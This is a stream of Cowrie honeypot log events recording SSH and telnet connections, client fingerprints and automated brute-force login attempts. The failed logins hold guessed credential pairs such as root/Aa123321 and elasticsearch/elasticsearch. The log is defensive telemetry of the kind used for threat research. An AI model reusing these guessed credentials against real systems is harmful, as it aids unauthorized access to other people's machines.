{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:30.876277Z","src_ip":"192.109.200.237","session":"b28ae23e804d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35542,"dst_ip":"10.17.0.5","dst_port":23,"session":"8059a879ef57","protocol":"telnet","message":"New connection: 50.6.8.71:35542 (10.17.0.5:23) [session: 8059a879ef57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:31.029935Z"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:31.122165Z","src_ip":"192.109.200.237","session":"b28ae23e804d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:32.218820Z","src_ip":"192.109.200.237","session":"b28ae23e804d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.98.128.122","src_port":60186,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d5d1d2139ed","protocol":"ssh","message":"New connection: 20.98.128.122:60186 (10.17.0.5:22) [session: 6d5d1d2139ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:32.498816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:32.503384Z","src_ip":"20.98.128.122","session":"6d5d1d2139ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:32.546187Z","src_ip":"20.98.128.122","session":"6d5d1d2139ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.98.128.122","src_port":60200,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c87d6fd7033","protocol":"ssh","message":"New connection: 20.98.128.122:60200 (10.17.0.5:22) [session: 6c87d6fd7033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:32.633811Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:32.639848Z","src_ip":"20.98.128.122","session":"6c87d6fd7033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:32.644308Z","src_ip":"20.98.128.122","session":"6c87d6fd7033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41382,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd43578eb3d0","protocol":"ssh","message":"New connection: 192.109.200.237:41382 (159.203.135.109:22) [session: fd43578eb3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:34.263885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:34.268378Z","src_ip":"192.109.200.237","session":"fd43578eb3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:34.412843Z","src_ip":"192.109.200.237","session":"fd43578eb3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:34.745126Z","src_ip":"192.109.200.237","session":"fd43578eb3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:35.831608Z","src_ip":"192.109.200.237","session":"fd43578eb3d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41406,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fdd1c91fa1c","protocol":"ssh","message":"New connection: 192.109.200.237:41406 (159.203.135.109:22) [session: 9fdd1c91fa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:37.841341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:37.845561Z","src_ip":"192.109.200.237","session":"9fdd1c91fa1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:37.931314Z","src_ip":"192.109.200.237","session":"9fdd1c91fa1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:38.177934Z","src_ip":"192.109.200.237","session":"9fdd1c91fa1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36322,"dst_ip":"10.17.0.5","dst_port":23,"session":"3418c89ce1ea","protocol":"telnet","message":"New connection: 50.6.8.71:36322 (10.17.0.5:23) [session: 3418c89ce1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:38.529054Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:39.262112Z","src_ip":"192.109.200.237","session":"9fdd1c91fa1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37906,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7ed70b0dc75","protocol":"ssh","message":"New connection: 192.109.200.237:37906 (159.203.135.109:22) [session: b7ed70b0dc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:41.269398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:41.274557Z","src_ip":"192.109.200.237","session":"b7ed70b0dc75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:41.356388Z","src_ip":"192.109.200.237","session":"b7ed70b0dc75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:41.603618Z","src_ip":"192.109.200.237","session":"b7ed70b0dc75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:42.503426Z","src_ip":"20.98.128.122","session":"6d5d1d2139ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:42.688668Z","src_ip":"192.109.200.237","session":"b7ed70b0dc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37910,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1c62f8e176a","protocol":"ssh","message":"New connection: 192.109.200.237:37910 (159.203.135.109:22) [session: b1c62f8e176a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:44.762827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:44.767704Z","src_ip":"192.109.200.237","session":"b1c62f8e176a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:44.850445Z","src_ip":"192.109.200.237","session":"b1c62f8e176a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:45.098695Z","src_ip":"192.109.200.237","session":"b1c62f8e176a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.283461332321167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:45.194912Z","src_ip":"50.6.8.71","session":"f2ca3744de5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44249725341797,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:45.537658Z","src_ip":"50.6.8.71","session":"98f617e8acfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:46.183149Z","src_ip":"192.109.200.237","session":"b1c62f8e176a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37926,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a2f0d9b080","protocol":"ssh","message":"New connection: 192.109.200.237:37926 (159.203.135.109:22) [session: 58a2f0d9b080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:48.221845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:48.225629Z","src_ip":"192.109.200.237","session":"58a2f0d9b080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:48.307268Z","src_ip":"192.109.200.237","session":"58a2f0d9b080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:48.556306Z","src_ip":"192.109.200.237","session":"58a2f0d9b080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47820,"dst_ip":"10.17.0.5","dst_port":23,"session":"db0ac36e6750","protocol":"telnet","message":"New connection: 50.6.8.71:47820 (10.17.0.5:23) [session: db0ac36e6750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:49.273110Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:49.640720Z","src_ip":"192.109.200.237","session":"58a2f0d9b080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36090,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a29d391b313","protocol":"ssh","message":"New connection: 192.109.200.237:36090 (159.203.135.109:22) [session: 6a29d391b313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:51.540957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:51.545212Z","src_ip":"192.109.200.237","session":"6a29d391b313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:51.626231Z","src_ip":"192.109.200.237","session":"6a29d391b313","protocol":"ssh"}
